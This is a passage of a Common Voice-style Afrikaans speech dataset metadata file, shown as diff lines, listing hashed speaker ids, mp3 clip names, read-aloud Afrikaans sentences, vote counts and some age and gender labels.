389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38086399.mp3 1591422c551f1d819bd3c8ffa8f93524bbb612b1cec3f25631d076757741ff3f Mensehulpbronne is 'n sleutelelement in die bereiking van die departement se strategiese doelwitte. 2 0 fourties male_masculine af
|
| 42 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38086401.mp3 09823c4efc89ef01863e4f3379374425c337beed0570b2e027db9b6ddcaa9a3e Verstaan die geografiese, ekonomiese en sosiale konteks waaruit kuns en kultuur voortspruit. 2 0 fourties male_masculine af
|
| 43 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38086402.mp3 040fdab41be3da32731fe9170b8a2677445eda98736e671f79dfe7fac3b462e0 Steun aan alle skole in finansiële bestuur en administrasie word op deurlopende grondslag verskaf. 2 0 fourties male_masculine af
|
| 44 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088717.mp3 091ef56bbdf7082a05ff113c4820c4519ced06a8bbcf6db2616a3a7b4a7c2274 Tekste weerspieël ook die verskillende kulturele en politieke kontekste waarin dit geskep word. 2 1 fourties male_masculine af
|
| 45 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088719.mp3 0e519dcb36084efd6e28d7eea9a482385a2797f35121705e1d277e12cfb42fdd Die lokale van die bevoegdheidstoetse sal binnekort aan elke individuele aansoeker verskaf word. 2 0 fourties male_masculine af
|
| 46 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088722.mp3 160ba3c31df659865c1c3067df94800b1d3588009eb9287d13bcb25cda6f036c Deur gebruik te maak van bogenoemde data, bepaal die winsgewendheid van die boerderyeenheid. 2 1 fourties male_masculine af
|
| 47 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088725.mp3 1b88361167875d4e4fc2f716407b157d48b79589f3458f8bbc2170248f841f86 Eenhonderd-vyf-en-twintig toerismeondernemings het toegang tot bemarkingsgeleenthede ontvang. 2 0 fourties male_masculine af
|
| 48 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088750.mp3 02e55366f073fa4ae9edc9f9be980057754a35889491fe4e5f60f9c1db210383 Hoe lank is jy al ’n onderwyser? 2 1 fourties male_masculine af
|
| 49 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088751.mp3 01ec2cb4ae2d3f84f2aa3d06d0de4ba79d5bc41f5996c17b140b1c9958a97b86 Beroepsiektes word veroorsaak deur toestande waaraan 'n persoon blootgestel word in die werkplek. 2 0 fourties male_masculine af
|
| 50 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088752.mp3 086656b339669ccdc826db7e2e5c799e954b0b7aa98bf7b466af605f7813389e Werk jy in Nieu-Seeland? 2 0 fourties male_masculine af
|
| 51 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088753.mp3 086be364990d8372e835d600d45949272cac2cf1105e321c7df6819dcdd7118e Toelating van invoere en uitvoere van diereprodukte van Suid-Afrika en na internasionale lande. 2 1 fourties male_masculine af
|
| 52 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088754.mp3 17c521812142eb4522e1ec825b7c0e5ed62ceae3009eff0566617cd6c1feb65b Farmaseutiese maatskappye gebruik duiwelsklou om medisyne te vervaardig en toon groot winste. 2 0 fourties male_masculine af
|
| 53 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088781.mp3 0a9e9eb4e94dc1d577ca68b20f44e0b4a5bee7a756b436b5f703e352b44c0b23 Ek sal verduidelik as jy kalmeer en luister. 2 0 fourties male_masculine af
|
| 54 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088782.mp3 0893f96e09a4a15c0e354e8a9c5a7ead93545b317fe84ac40c473ae79673e4fe Die naam van die akademiese joernaal is kursief. 3 0 fourties male_masculine af
|
| 55 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088785.mp3 0e7b34cefc137e0e855561bc5fa2c7d9cc0c4e9d2cc7d0088324f15f866cdc8b Siektes versprei maklik as daar nie skoon water is nie. 2 0 fourties male_masculine af
|
| 56 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088786.mp3 0255e0cd7be5515b5594edd67632ac80c051bfb989b7fd1ed6075dd7af784964 Getal gebruikers van dienste wat toegang tot gemeenskapsgebaseerde behandelingsdienste verkry het. 2 1 fourties male_masculine af
|
| 57 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38089141.mp3 1741b5b9a74f6b9a648aa27b04d4a5f551593d9f61165e175c6161534a17da82 Watter bron is die gevaarlikste vir menslike gesondheid en kan siektes soos cholera veroorsaak? 2 0 fourties male_masculine af
|
| 58 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38089142.mp3 0c44336ea8d44ea4b80b73ddacb5576c5aa256b1e4f2bdb7285a5a8060f7df70 Verkies jy tee of koffie? 2 0 fourties male_masculine af
|
| 59 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38089143.mp3 02d4362d39f1e17d31ccea3fdb55d109ae78fe365c6212937cb61cd42ed75263 Beskryf eie versameling voorwerpe, verduidelik hoe dit gesorteer is en beantwoord vrae daaroor. 2 0 fourties male_masculine af
|
| 60 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38089145.mp3 195b5d0073ce718ab02f2cfa68a3ad7e272aca5fad3c94f449736aa57fec5b0e Die nasiener moet onthou dat hierdie visuele prikkels oop is vir 'n verskeidenheid interpretasies. 2 0 fourties male_masculine af
|
| 61 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38089147.mp3 08a3908b33584f138c704823e658b0647a0103e316efdb7b95ff2305ee95dd73 Die prosedure kan op pasgebore seuntjies by onderskeie gesondheidsorgfasiliteite uitgevoer word. 2 1 fourties male_masculine af
|
| 62 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38091960.mp3 092bb9bb5862dad5d3286ffba6f3d93e6e71ef424bc5d7790012e60caf4a6f61 Maak seker jy kook genoeg vleis vir almal. 2 0 fourties male_masculine af
|
| 63 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38091961.mp3 1232454d38439fb3832942e3b9b1741951028e1766b30906aad0442fd36aea8a Griewe aanhangig gemaak verwys na sake wat binne die verslagdoeningsperiode gefinaliseer is. 2 0 fourties male_masculine af
|
| 64 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38091962.mp3 19ba3256cf6371e4e8558f184ef324c227b8e2a7b17c9cbdba55575d8d1ccd7e Neem asseblief die leë bokse weg. 2 0 fourties male_masculine af
|
| 65 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38091963.mp3 1f3883f5a2db91609adc7b20380ed18794b3547a0238711524fad7461a3a94af Verduidelik watter aspekte van hierdie bron deur 'n historikus as bruikbaar beskou kan word. 2 0 fourties male_masculine af
|
| 66 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38091964.mp3 176898583a3a8d2f51b42c31b207ec479d7b813d827799a60a65851f26f1036f Die Departement het 'n toesighoudende rol ten opsigte van hierdie provinsiale sakeonderneming. 2 0 fourties male_masculine af
|
| 67 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087445.mp3 0f5b0a8e39ee679e364df857612fd6f73f1028ecadb11c8d8ad4127de6081ba9 Die afsluiting van die proses en die aanstelling van diensverskaffers is 'n voortdurende proses. 2 0 af
|
| 68 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087446.mp3 0de3b1ea9aa5cc48aa29b3494d1eece7b776dcf0a0bd90f4678d4e899a8d3708 Watter dag is vandag? 2 0 af
|
| 69 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087447.mp3 1678be68f41e48a0464b736ac2fd604a5ba2b0320117fdbcdf371fb6921bffa4 Word jy vroeg wakker? 2 0 af
|
| 70 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087448.mp3 098527feb39e4a9c35711e4dcfc60d67573806191f41f6335ea9dd5a606f83e4 Selfs die internasionale musiekwêreld neem deesdae deeglik kennis van hierdie kunstenaar se talent. 2 0 af
|
| 71 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087449.mp3 0b35ffb98e448b501f5def9b78aa6ca135d80b6e9b6af9953193d57adc17e20d So kan jou akademiese stem help om jou argument te versterk. 2 0 af
|
| 72 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087460.mp3 004ab390f5088e845357a94e5e819d9d4d688fa9e3d8a156db5f4635ce3a4240 Jou skoolkoor het die koorwerke hieronder gedurende jou skool se jaarlikse kunstefees uitgevoer. 2 1 af
|
| 73 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087461.mp3 00d7e42a5d76231f16b4c4de54076cb436687e30d0e3dcf699254cde3dc158ba Ek het die hond se gegrom gehoor. 2 0 af
|
| 74 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087462.mp3 1a9ca222e44cb3971e19cd9cd72c9e51feda94b56a909e16187e0839dc30716b Hulle sal ná skool baklei. 2 0 af
|
| 75 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087463.mp3 0af9fdf907100a4e7302578f191c800f4491f8d5908be1e0fcae8398c69331d8 Daar is enkele verskille in die formaat van die volume en bladsynommers. 2 0 af
|
| 76 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087464.mp3 1418bf95a7752b8cccaabd0be478e64edbf3da326cef384d77da3c1ef286dfa7 Dinge raak vinnig oorvol en baie beknop. 2 0 af
|
| 77 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087484.mp3 0e43ba5aec5b060ed6acf62721f7545e1d297de0aa19c1ffc39ae59d61836709 Ons sal kniel om te bid. 2 0 af
|
| 78 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087485.mp3 115db574b0f6b403f10dad9bf4250e866f7842183ed2c9cf5538d87cf5f25188 Kunsfinansiering ondersteun kunsorganisasies wat omgewingsbewaring deur kuns en kultuur bevorder. 2 0 af
|
| 79 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087486.mp3 0d8a362971f2f17987de6b06cb3241f2dcb71e0e3dc7456f04703d3a8af7b4a5 Ouma Essie se uitlewing van Christenskap beïnvloed Baas se siening en uitlewing van Christenskap. 2 0 af
|
| 80 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087487.mp3 15f2457744b40bdb047e63894a783194b635f641e9fedd5d72acb657a639a0ff Woensdag is my gunsteling dag van die week. 2 0 af
|
| 81 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087488.mp3 0e173cef4e71b37e0ea6fc44e534f4d56083be0cf00e0774cd828dd9d0fbeb85 Die toetsing van motorvoertuie kan deur private of openbare voertuigtoetsstasies gedoen word. 2 0 af
|
| 82 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087493.mp3 07bc00abd4c0abaf24edcd30003561c5fd50198c07a0377f0b9e69e811abf795 Daar bestaan nie iets soos 'n gratis maaltyd nie. 2 0 af
|
| 83 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087494.mp3 12ee7f123eac5c9d537a5e53ff9e4dcc07e20f97cb5383dcec7c487e5526486e Die petrolprys bly styg. 2 0 af
|
| 84 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087495.mp3 13f1e51fc022916cb8e1a7a121deef92409b9866811362da7d52c4ad2c04ab0d Sluit kritiese studie van die voordele en nadele van verskillende vorme van voedselproduksie in. 2 0 af
|
| 85 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087496.mp3 022fabf6122f435b6066a0152c44507f453f2d6b71dde4de7b943f94eac2c93d Die skoolhoof het Kinderbeskerming gebel en die polisie en maatskaplike dienste het John weggevat. 2 0 af
|
| 86 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087497.mp3 0a7c549d187c6c779152031881ee4a90732c122c385c34b9f2a57698230f647d Toe loop keer hulle weer terug lêplek-toe. 2 0 af
|
| 87 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087503.mp3 0ee71b90c0023dfbc81e7ed3cee8b691abba0edf97f82ed37851257e33f0e145 Fisiese of logiese toegang tot inligting of inligtingstelsels deur 'n reeks netwerktoestelle. 2 0 af
|
| 88 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087504.mp3 01e3b1c21f2b88b0fcae490c846fbfa7e560773d864a96b6530599b172a94e65 Die toename in Munisipale Dienste is as gevolg van 'n verhoging in die elektrisiteitstariewe. 2 0 af
|
| 89 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087505.mp3 187914df21b2c3a755b13416b859dcb400f9f9f172e84d426061c95622a998cc Die dorp is langs 'n rivier wat water aan die dorpenaars verskaf. 2 0 af
|
| 90 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087506.mp3 1aa903e454fa97c605b8bb55d87a222a7ecb0a57516ce6fd39e0e4e50c7fe5ca Die konferensie vind elke drie jaar plaas onder leiding van die Internasionale Arbeidsorganisasie. 2 0 af
|
| 91 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087507.mp3 16534b4d241beb0ff08c468c7c6d5ed86c39ff08a34bce64c2c49ab4fc1e5034 Ongelyke ekonomieë kweek ongelyke samelewings en ongelyke samelewings ontwikkel en floreer nie. 2 0 af
|
| 92 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087508.mp3 006ffc12c699d0ee613a2118daaef014167513525e803e7c7ebb3d7db92f2ffe Dit sal verantwoordbaarheid en gefokusde prestasie deur lede van die uitvoerende raad verbeter. 2 1 af
|
| 93 |
+
b49d914b5d86775a6971a1934e67224e5274385a38e09a7b4dc11e76d843c8ebae54189e10d063e060e1a839936b959a1301bf514a710b1961db0debf05bf5c2 common_voice_af_38087509.mp3 0194e4ffa34f7687dc31128532329bc31bdb94f3e19d909c2feda48ea307ff36 Alle gebruike van hierdie gebiede moet op beginsels van volhoubare ontwikkeling gebaseer wees. 2 0 af
|
| 94 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597042.mp3 21b4ad3a0d7cf5d2f0adad836701f89bd58409a49aac1cb9717df1040da406a2 Vertraging in die aanstelling van diensverskaffers maak dit moeilik om projekte betyds te voltooi. 2 0 af
|
| 95 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597043.mp3 2568aab00079fa2b2d6068d6807211596b4dd6bbb677e7a9264be60d78cd878e Wat doen hy? 2 0 af
|
| 96 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597045.mp3 1937ec9c0854cc3af42b59f158198127415d4f96c016dacfed9fa306c7735fdb Ons geniet altyd haar partytjies want sy is 'n uitstekende gasvrou. 2 0 af
|
| 97 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597046.mp3 0a3b62334a50f569d5d6e639ef6d5caee2ede9cd583cefc875e45506ec140096 Taal is 'n belangrike instrument om begrip van menseregte en omgewingsgeregtigheid te ontwikkel. 2 0 af
|
| 98 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597047.mp3 2188df7adb0c8a2db80c7c508579f260d4707261fd7da21bc24413eb4ddb3391 Watter van die volgende veiligheidsaspekte is nie die verantwoordelikheid van die werknemer nie? 2 0 af
|
| 99 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597069.mp3 23d0a96ecad2be83a4adbdc77fcb9cf843379bf109262f11fdfeef8e4ad94bf1 Ek het monumente gesien 2 0 fourties female_feminine af
|
| 100 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597070.mp3 03df375d3bcdd4617f9f79553a4147552c89e360e766ae1dfa3aa621dee338f9 Hulle het matte nodig gehad om die kaal vloer te bedek. 2 0 fourties female_feminine af
|
| 101 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597073.mp3 052989fd37739390227328ac4ed6a46844b7ad724ed3bf0ca365cf0c83140288 Daar moet besef word dat die leeruitkomste saamwerk om leerders se taalvaardigheid te ontwikkel. 2 0 fourties female_feminine af
|
| 102 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597075.mp3 024006459aa0cdc14ab6987d4700f17561a5328b2ea5eb832b2f8dc4f6406ddf Die leerder moet kennis dra van verskillende beroepsmoontlikhede en die implikasies van keuses. 2 0 fourties female_feminine af
|
| 103 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597078.mp3 23a2a7e05ef1698a3d1308ae7f03d5a33d6ef7666c7e813740867d1ca92287fd Skryf die persentasie Facebook-gebruikers neer wat met behulp van mobiele toestelle ingeteken het. 2 0 fourties female_feminine af
|
| 104 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597091.mp3 0f40b87e2bc783e6c623039ac2c141dfaac118248efd0a79db346394c69d0ed6 Daar is kritiek dat Somali's geteister word wanneer hulle sake by die polisiestasie aanmeld. 2 0 fourties female_feminine af
|
| 105 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597092.mp3 2606672eb4248ca3c60b5744b61db37882376353765c9438c08dc313c828939c Hy is nie so groen dat ’n koei hom sal vreet nie 2 0 fourties female_feminine af
|
| 106 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597093.mp3 0b2d6785bb42b2dd37dee93c81b475bac09368a21da71016cdcb40595982e736 Die Program van Assessering vir Besigheidstudies bestaan uit sewe take wat intern geassesseer word. 2 0 fourties female_feminine af
|
| 107 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597095.mp3 0f0744439e0f3f50ba009bbb43ac0ca01c2102076b484eedb9476946d47d4bdf Laai die vragmotor af. 2 0 fourties female_feminine af
|
| 108 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597096.mp3 16b0d9f89fd3407ba338110fd26c3ad6fc7ea39ebf9642539e627efa4d126dc5 In noodgevalle sal die mediese noodbeampte die pasiënt na die gepaste mediese fasiliteit vervoer. 2 0 fourties female_feminine af
|
| 109 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597116.mp3 26cc0a9767b9f5fff3b0af3e8572850475cf1dd1763af41793c9f31eb8632e86 Ek het vir ’n tyd Pools gestudeer 2 0 fourties female_feminine af
|
| 110 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597119.mp3 1959c296e739d5974c00c4b02d7e2b32f8709af49731b690fa5f3092e187c770 Daar is verskillende maniere om 'n argument- en 'n teenargument te struktureer. 2 0 fourties female_feminine af
|
| 111 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597122.mp3 16f3e5f7c8c200cc08830d374cb39fc32b48ec17c2804bff11c7ec18b2770c9b Verduidelik waarom Hitler die vernietiging van die Jode as die belangrikste taak beskou het. 2 0 fourties female_feminine af
|
| 112 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597123.mp3 06aa131b193538e28eac5f272b714778b945e10083e2dc0d8353c35d82873d57 Die ingrypings is deel van die Program vir Grondhervorming en Geïntegreerde Steun vir Boere. 2 0 fourties female_feminine af
|
| 113 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597143.mp3 1ffda264bad086e40e895b5519810451fc60dd1f8435aeb35f9765fcfb157413 Hy het baie struikelblokke teëgekom op pad om sy doelwitte te bereik. 2 0 fourties female_feminine af
|
| 114 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597144.mp3 1ef490b18a035ddd79dddd55162499bcc93febb6ea925637aedcd53e4eea8b46 Vergeet van die verlede. 2 0 fourties female_feminine af
|
| 115 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597145.mp3 0a7620d57f16a8bc52aa5ff1d0f25e4ee52bb0783355032ff2523be2317c392f Informele of daaglikse assessering behels die daaglikse monitering van die leerders se vordering. 2 0 fourties female_feminine af
|
| 116 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597146.mp3 1b9c914e48a46614ad0c8e895965383c5767aa426e680938cbd2d248faad0e55 Sy het gesteun toe sy die swaar pot oplig. 2 0 fourties female_feminine af
|
| 117 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597148.mp3 2116576aa0a77af7f658a76f33210c5ccd4864b138074c0b190bed5df3b8ec4a Alle biblioteke word deur die Landelike Biblioteekkonnektiwiteit-projek aan die Internet verbind. 2 0 fourties female_feminine af
|
| 118 |
+
